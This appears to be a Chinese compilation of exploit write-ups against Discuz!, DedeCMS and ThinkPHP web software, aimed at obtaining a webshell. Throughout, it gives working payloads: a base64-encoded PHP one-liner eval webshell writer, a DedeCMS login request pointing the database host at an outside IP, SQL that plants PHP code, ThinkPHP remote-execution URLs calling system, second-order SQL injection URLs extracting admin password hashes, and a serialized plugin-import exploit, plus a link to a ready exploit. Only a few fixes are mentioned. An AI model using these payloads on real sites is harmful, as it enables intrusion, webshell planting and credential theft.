Discuz! X 最新Getshell漏洞EXp(自带插件)
- 格式:doc
- 大小:205.00 KB
- 文档页数:3
0x00 网站快照劫持:DZ常见漏洞利用分析0x01Discuz上传图片附件实现远程命令执行漏洞漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。
通过分析可知:需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。
前台登录发贴上传图片附件。
提示: forum.php是常被利用的文件(论坛首页入口组件),论坛附件上传是个突破口。
0x02ImageMagick远程执行漏洞分析及利用目前所有版本的Graphicsmagick和ImageMagick都支持打开文件,当文件名的第一个字符为‘|’,则文件名会被传递给shell程序执行,导致(可能远程)代码执行。
提示:ImageMagick图片程序对文件名处理机制存在漏洞0x03Discuz GetShell(获取权限)漏洞EXP1.注册任意账户,登陆用户,发表blog日志(注意是日志)2.添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAg QGV 2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}3.访问日志,论坛根目录下生成demo.php,一句话密码c由0x01、0x02与0x03可知论坛上传图片是被利用最常见的漏洞,管理员们要注意把控。
0x04 Discuz获取UC key Getshell(获取权限)。
知道UC的appkey的情况下getshell,问题的根源在于api/uc.php几乎所有版本都可以(在得到uc_key情况下)/api/uc.php里面有个synlogin 方法只要网上随便找个以前uckeygetshell的脚本加密一下这个'time='.time().'&action=synlogin&uid=你要登录的用户的id';得到code后直接访问域名/api/uc.php?code=你加密后的code,就能登录了,admin管理员也是可以登录的。
DEDECMS(织梦程序)5.5-5.7通杀GetShell漏洞入侵步骤如下:/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd =inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POS T[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r 0t0&_POST[GLOBALS][cfg_dbname]=root把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。
下面给出官方的解决办法:解决办法:找到include/common.inc.php文件,把foreach($_REQUEST as $_k=>$_v){var_dump($_k);if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ): {exit('Request var not allow!');}}换成//检查和注册外部提交的变量function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {CheckRequest($_k);CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ){exit('Request var not allow!');}}}CheckRequest($_REQUEST);网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell前题条件,必须准备好自己的dede数据库,然后插入数据:insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');再用下面表单提交,shell 就在同目录下1.php。
Discuz!6.x7.x版本前台任意代码执⾏漏洞⼀、漏洞原理:由于php5.3.x版本⾥php.ini的设置⾥request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码⾥:01function daddslashes($string, $force= 0) {02 !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());03 if(!MAGIC_QUOTES_GPC || $force) {04 if(is_array($string)) {05 foreach($string as$key=> $val) {06 $string[$key] = daddslashes($val, $force);07 }08 } else{09 $string= addslashes($string);10 }11 }12 return$string;13}include/common.inc.php⾥:1foreach(array('_COOKIE', '_POST', '_GET') as$_request) {2 foreach($$_request as$_key=> $_value) {3 $_key{0} != '_'&& $$_key= daddslashes($_value);//变量引⼊0001112224 }5}模拟register_globals功能的代码,在GPC为off时会调⽤addslashes()函数处理变量值,但是如果直接使⽤$_GET/$_POST/$_COOKIE这样的变量,这个就不起作⽤了,然⽽dz的源码⾥直接使⽤$_GET/$_POST/$_COOKIE的地⽅很少,存在漏洞的地⽅更加少:(不过还有其他的绕过⽅法,在register_globals=on下通过提交GLOBALS变量就可以绕过上⾯的代码了.为了防⽌这种情况,dz中有如下代码:1if(isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {2 exit('Request tainting attempted.');3}这样就没法提交GLOBALS变量了么?$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,⽽不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)⼆、漏洞位置⼀[HIDE]三、漏洞位置⼆include/discuzcode.func.php01function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon= 0, $allowsmilies= 1, $allowbbcode= 1, $allowimgcode= 1, $allowhtml= 0, $jammer= 0, $parsetype= '0', $authorid= '0', $allowmediacode= '0', $pid= 0) {02 global$discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;03 if($parsetype!= 1 && !$bbcodeoff&& $allowbbcode&& (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) {04 $message= preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);05 }06 $msglower= strtolower($message);07 //$htmlon = $htmlon && $allowhtml ? 1 : 0;08 if(!$htmlon) {09 $message= $jammer? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);10 }11 if(!$smileyoff&& $allowsmilies&& !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {12 if(!$discuzcodes['smiliesreplaced']) {13 foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key=> $smiley) {14 $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';15 }16 $discuzcodes['smiliesreplaced'] = 1;16 $discuzcodes['smiliesreplaced'] = 1;17 }18 $message= preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);19 }20 ......119⾏:1$message= preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); //让preg_replace 加上/e 修正符,产⽣代码执⾏四、POC访问⼀个存在的帖⼦,需要访问的页⾯有表情。
thinkphp代码执⾏getshell的漏洞解决先来简单说说前天thinkphp官⽅修复的⼀个getshell漏洞,框架对控制器没有进⾏⾜够的检测导致的⼀处getshell影响的范围: 5.x < 5.1.31, <= 5.0.23漏洞危害: 导致系统被提权(你懂的)先来讲下,5.0 跟5.1的区别吧,tp5.1中引⼊了容器(Container)和门⾯(Facade)这两个新的类 tp5.0是没有这两个新的类的,漏洞原理我们先来看看App类⾥的 exec函数⾥的执⾏分层控制器的操作我们这⾥是把controller 的调⽤信息跟配置信息全部传到了 invokeFunction 这个执⾏函数⾥⾯去了因为think\App是第⼆个⼊⼝,在tp运⾏的时候就会被加载所以⽤think\App⾥⾯的分层控制器的执⾏操作的时候,需要去调⽤invokeFunction这个函数。
这个函数有两个参数,如上图所⽰,第⼀个是函数的名字,第⼆个参数数组,⽐如$function传⼊BaiDu然后$vars传⼊[12,555]就相当于调⽤BaiDu(12,555)此处我们把function传⼊call_user_func_array然后vars[0]传⼊我们要执⾏的函数的名字vars[1]传⼊要执⾏函数的参数,因为vars是个数组所以此处我们的get请求需要这样写vars[]=函数名&vars[1][]=参数此处是利⽤php的数组注⼊此时此刻就可以开始利⽤远程代码执⾏漏洞了⽐如我们要执⾏system函数他的参数是whoami下⾯你懂的,作为⼀个接班⼈我们要做的就是修复他(为所欲为?),当然官⽅更新的最新版本是已经修复了的这⾥就代码执⾏成功,以下奉献上tp不同版本的payloads=index/\think\Request/input&filter=phpinfo&data=1s=index/\think\Request/input&filter=system&data=ids=index/\think\template\driver\file/write&cacheFile=shell.php&content=s=index/\think\view\driver\Php/display&content=s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ids=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。
Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警-电脑资料很多人有了,流传出来了,然后发出来,。
现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。
DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp 下)。
一、discuz后台settings.inc.php中写shell漏洞:漏洞详情:if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {$ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ''********'' ? UC_DBPW : $settingsnew[''uc''][''dbpass''];if($settingsnew[''uc''][''connect'']) {$uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);if(!$uc_dblink) {cpmsg(''uc_database_connect_error'', '''', ''error'');} else {mysql_close($uc_dblink);}}$fp = fopen(''./config.inc.php'', ''r'');$configfile = fread($fp, filesize(''./config.inc.php''));$configfile = trim($configfile);$configfile = substr($configfile, -2) == ''?>'' ? substr($configfile, 0, -2) : $configfile;fclose($fp);$connect = '''';if($settingsnew[''uc''][''connect'']) {require ''./config.inc.php'';$connect = ''mysql'';$samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == ''gbk'' && UC_DBCHARSET == ''latin1'' || $dbcharset == ''latin1'' && UC_DBCHARSET == ''gbk'');$configfile = insertconfig($configfile, "/define\(''UC_DBHOST'',\s*''.*?''\);/i", "define(''UC_DBHOST'', ''".$settingsnew[''uc''][''dbhost'']."'');");//正则表示从''到'')中的被替换,而'')可以被任意提交,from $configfile = insertconfig($configfile, "/define\(''UC_DBUSER'',\s*''.*?''\);/i", "define(''UC_DBUSER'', ''".$settingsnew[''uc''][''dbuser'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBPW'',\s*''.*?''\);/i", "define(''UC_DBPW'', ''".$ucdbpassnew."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBNAME'',\s*''.*?''\);/i", "define(''UC_DBNAME'', ''".$settingsnew[''uc''][''dbname'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBTABLEPRE'',\s*''.*?''\);/i","define(''UC_DBTABLEPRE'',''`".$settingsnew[''uc''][''dbname''].''`.''.$settingsnew[''uc''][''dbta blepre'']."'');");//$configfile = insertconfig($configfile,"/define\(''UC_LINK'',\s*''?.*?''?\);/i", "define(''UC_LINK'', ".($samelink && $samecharset ? ''TRUE'' : ''FALSE'').");");}$configfile = insertconfig($configfile, "/define\(''UC_CONNECT'',\s*''.*?''\);/i", "define(''UC_CONNECT'', ''$connect'');");$configfile = insertconfig($configfile, "/define\(''UC_KEY'',\s*''.*?''\);/i", "define(''UC_KEY'', ''".$settingsnew[''uc''][''key'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_API'',\s*''.*?''\);/i", "define(''UC_API'', ''".$settingsnew[''uc''][''api'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_IP'',\s*''.*?''\);/i", "define(''UC_IP'', ''".$settingsnew[''uc''][''ip'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_APPID'',\s*''?.*?''?\);/i", "define(''UC_APPID'', ''".$settingsnew[''uc''][''appid'']."'');");$fp = fopen(''./config.inc.php'', ''w'');if(!($fp = @fopen(''./config.inc.php'', ''w''))) {cpmsg(''uc_config_write_error'', '''', ''error'');}@fwrite($fp, trim($configfile));@fclose($fp);}settings.inc.php对提交的数据缺乏有效过滤,导致可以写入'')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,电脑资料《Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警》(https://www.)。
Dedecms 二次注入经典exp构造脚本安全 -电脑资料0×01 前言Long long ago,发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法,Dedecms 二次注入经典exp构造脚本安全。
此文重在exp的构造,如需详细漏洞分析,请看:WooYun: dedecms鸡肋级注入与细节分析过程0×02 方法一:直接缩短法理论:insert –> select –>insert –>selectExp:第一次inserthttp://127.0.0.1/dede/plus/feedback.php?action=send&comtype=comments&aid=1&isconfirm=yes&cmtuser=admin&msg=asfsafsdaf&face=6&validate=slep&title=1′,”‘”,1,3,4,5,6,7,8,(select pwdfrom %23@__admin))%23&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA第二次inserthttp://127.0.0.1/dede/plus/feedback.php?action=send&comtype=reply&fid=27&isconfirm=yes&cmtuser=admin&msg=asfsafsdaf&face=6&validate=angr&title=1&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA看出我们第一次insert的payload是:1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23数据库:返回结果:绕过具体代码分析:function CheckSql($db_string,$querytype='select'){·····(此处省略)while (TRUE){$pos = strpos($db_string, '\'', $pos + 1);if ($pos === FALSE){break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (TRUE){$pos1 = strpos($db_string, '\'', $pos + 1);$pos2 = strpos($db_string, '\\', $pos + 1);if ($pos1 === FALSE){break;}elseif ($pos2 == FALSE || $pos2 > $pos1){$pos = $pos1;break;}$pos = $pos2 + 1;$clean .= '$s$';$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);//echo $clean;exit;$clean = trim(strtolower(preg_replace(array('~\s+~s' ),array(' '), $clean)));····(此处省略)}上述检测代码作用就是替换sql语句中两个引号之间的内容为$s$第二次insert的sql:INSERT INTO`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`isch eck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES(’1′,’0′,’test’,’1′,”‘”,1,3,4,5,6,7,8,(select pwd fromdede_admin))#’,’127.0.0.1′,’1′,’1367583435′,’2′,’0′,’0′,’f eedback’,’6′,’asfsafsdaf’)经过上述处理:INSERT INTO`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`isc heck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES($s$,$s$,$s$,$s$,”$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)然后function CheckSql($db_string,$querytype=’select’)得检测绕过了,《Dedecms 二次注入经典exp构造脚本安全》。
Discuz! 7.2 注入漏洞分析与利用在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。
恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。
漏洞分析:文件./manyou/sources/notice.php相关代码:if($option == 'del') {$appid = intval($_GET['appid']);$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); } elseif($option == 'deluserapp') {$hash = trim($_GET['hash']); //此处并没有进行过滤,直接导致注入的产生if($action == 'invite') {$query = $db->query("SELECT * FROM {$tablepre}myinvite WHEREhash='$hash' AND touid='$discuz_uid'");if($value = $db->fetch_array($query)) {$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); } else {showmessage('manyou:noperm');}} else {$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' ANDuid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice');}}很简单的一个漏洞。
四个版本的漏洞, Discuz! 6.0 、7.0、7.2和X1.5。
传X1.5出0day,最后神马也木见……/include/cache.func.phpPHP代码function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {global $authkey;if(is_array($cachenames) && !$cachedata) {foreach($cachenames as $name) {$cachedata .= getcachearray($name, $script); }}$dir = DISCUZ_ROOT.’./forumdata/cache/’;if(!is_dir($dir)) {@mkdir($dir, 0777);}if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) {fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”.“\n//Created: “.date(“M j, Y, G:i”).“\n//Identify:“.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata ?>”);fclose($fp);} else {exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’);}}————往上翻,找到调用函数的地方.都在updatecache函数中.PHP代码if(!$cachename || $cachename == ‘plugins’) {$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);while($plugin = $db->fetch_array($query)) {$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array()));$plugin['modules'] =unserialize($plugin['modules']);if(is_array($plugin['modules'])) {foreach($plugin['modules'] as $module) { $data['modules'][$module['name']] = $module;}}$queryvars = $db->query(“S ELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);while($var = $db->fetch_array($queryvars)) {$data['vars'][$var['variable']] =$var['value'];}//注意writetocache($plugin['identifier'], ”,“\$_DPLUGIN['$plugin[identifier]‘] = “.arrayeval($data),‘plugin_’);}}——————如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4 个敌人的心情. /admin/plugins.inc.phpPHP代码if(($newname = trim($newname)) || ($newidentifier =trim($newidentifier))) {if(!$newname) {cpmsg(‘plugins_edit_name_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″);欲裂,ispluginkey判定newidentifier是否有特殊字符if($db->num_rows($query) || !$newidentifier|| !ispluginkey($newidentifier)) {cpmsg(‘plugins_edit_identifier_invalid’);}$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘,‘$newidentifier’, ’0′)”);}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_edit_succeed’,‘admincp.php?action=pluginsconfig’);—————还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.PHP代码elseif(submitcheck(‘importsubmit’)) {$plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata);$pluginarray =daddslashes(unserialize(base64_decode($plugindata)), 1);//解码后没有判定if(!is_array($pluginarray)|| !is_array($pluginarray['plugin'])) {cpmsg(‘plugins_import_data_invalid’);} elseif(emptyempty($ignoreversion) &&strip_tags($pluginarray['version']) != strip_tags($version)) {cpmsg(‘plugins_import_version_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHEREidentifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″);//判断是否重复,直接入库if($db->num_rows($query)) {cpmsg(‘plugins_import_identifier_duplicated ’);}$sql1 = $sql2 = $comma = ”;foreach($pluginarray['plugin'] as $key => $val) {if($key == ‘directory’) {//compatible for old versions$val .= (!emptyempty($val) &&substr($val, -1) != ‘/’) ? ‘/’ : ”;}$sql1 .= $comma.$key;$sql2 .= $comma.’\”.$val.’\”;$comma = ‘,’;}$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);$pluginid = $db->insert_id();foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {if(is_array($pluginarray[$pluginconfig])) { foreach($pluginarray[$pluginconfig]as $config) {$sql1 = ‘pluginid’;$sql2 =‘\”.$pluginid.’\”;foreach($config as $key => $val) {$sql1 .= ‘,’.$key;$sql2 .=‘,\”.$val.’\”;}$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);}}}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_import_succeed’,‘admincp.php?action=pluginsconfig’);}————-随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.phpPHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['shell'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>———–我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的:forumdata/cache/plugin_a’]=phpinfo();$a['a.php PHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['a']=phpinfo();$a['a'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>————–最后是编码一次,给成Exp:PHP代码<?php$a =unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2Y WlsYWJsZSI7czoxOiIwIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNoZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6 ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7fQ==”));//print_r($a);$a['plugin']['name']=’GetShell’;$a['plugin']['identifier']=’a\’]=phpinfo();$a[\'';print(base64_encode(serialize($a)));?>7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"-------------------------------------------------------------------------------------二、Discuz! 7.2 和 Discuz! X1.5以下以7.2为例,/admin/plugins.inc.phpPHP代码elseif($operation == 'import') {if(!submitcheck('importsubmit') && !isset($dir)) {/*未提交前表单神马的*/} else {if(!isset($dir)) {//导入数据解码$pluginarray = getimportdata('Discuz!Plugin');} elseif(!isset($installtype)) {/*省略一部分*/}//判定你妹啊,两遍啊两遍if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(is_array($pluginarray['hooks'])) {foreach($pluginarray['hooks'] as $config) { if(!ispluginkey($config['title'])) {cpmsg(‘plugins_import_hooks_ title_invalid’, ”, ‘error’);}}}if(is_array($pluginarray['vars'])) {foreach($pluginarray['vars'] as $config) {if(!ispluginkey($config['variable'])) {cpmsg(‘plugins_import_var_in valid’, ”, ‘error’);}}}$langexists = FALSE;//你有张良计,我有过墙梯if(!emptyempty($pluginarray['language'])) {@mkdir(‘./forumdata/plugins/’, 0777);$file =DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray['plugin']['identifier'].’.lang.php’;if($fp = @fopen($file, ‘wb’)) {$scriptlangstr= !emptyempty($pluginarray['language']['scriptlang']) ?“\$scriptlang['".$pluginarray['plugin']['id entifier'].”‘] =“.langeval($pluginarray['language']['scriptlang']) : ”;$templatelangstr= !emptyempty($pluginarray['language']['templatelang']) ?“\$templatelang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['templatelang']) : ”;$installlangstr= !emptyempty($pluginarray['language']['installlang']) ?“\$installlang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['installlang']) : ”;fwrite($fp,“<?php\n”.$scriptlangstr.$templatelangstr.$installlangstr.’?>’); fclose($fp);}$langexists = TRUE;}/*处理神马的*/updatecache(‘plugins’);updatecache(‘settings’);updatemenu();/*省略部分代码*/}———————–先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.PHP代码function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) { if($GLOBALS['importtype'] == ‘file’) {$data = @implode(”,file($_FILES['importfile']['tmp_name']));@unlink($_FILES['importfile']['tmp_name']);} else {$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];}include_once DISCUZ_ROOT.’./include/xml.class.php’;$xmldata = xml2array($data);if(!is_array($xmldata) || !$xmldata) {//向下兼容if($name && !strexists($data, ‘# ‘.$name)) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = preg_replace(“/(#.*\s+)*/”, ”, $data);$data = unserialize(base64_decode($data));if(!is_array($data) || !$data) {if(!$ignoreerror) {cpmsg(‘import_data_invalid’, ”,‘error’);} else {return array();}}} else {//XML解析if($name && $name != $xmldata['Title']) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = exportarray($xmldata['Data'], 0);}if($addslashes) {//daddslashes在两个版本的处理导致了Exp不能通用.$data = daddslashes($data, 1);}return $data;}——————判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包。
在看之前我们首先要像乌云提交的作者致敬,因为是他那个标题才让我们尖刀团队研究出来的,当然如果有人硬是要说抄袭也可以,我们做我们的,你们说你们的,这是我们一贯的风格。
作者:网络尖刀安全团队
#1 这漏洞出现在一个DZ X系列自带的转换工具里面!
漏洞路径:utility/convert/data/config.inc.php
#2 在开始设置里面可以设置数据的属性,而post的数据直接写到了
config.inc.php这个文件里面,无任何过滤检测!
#3 然后小伙伴们写一半的shell没用,最后尖刀的某个小伙伴说直接修改表单,然后成功!
#4 打开EXP直接修改您需要的网站然后直接点击保存即可。
shell连接utility/convert/data/config.inc.php 密码c exp链接: /s/1kTFib1l密码: ku87。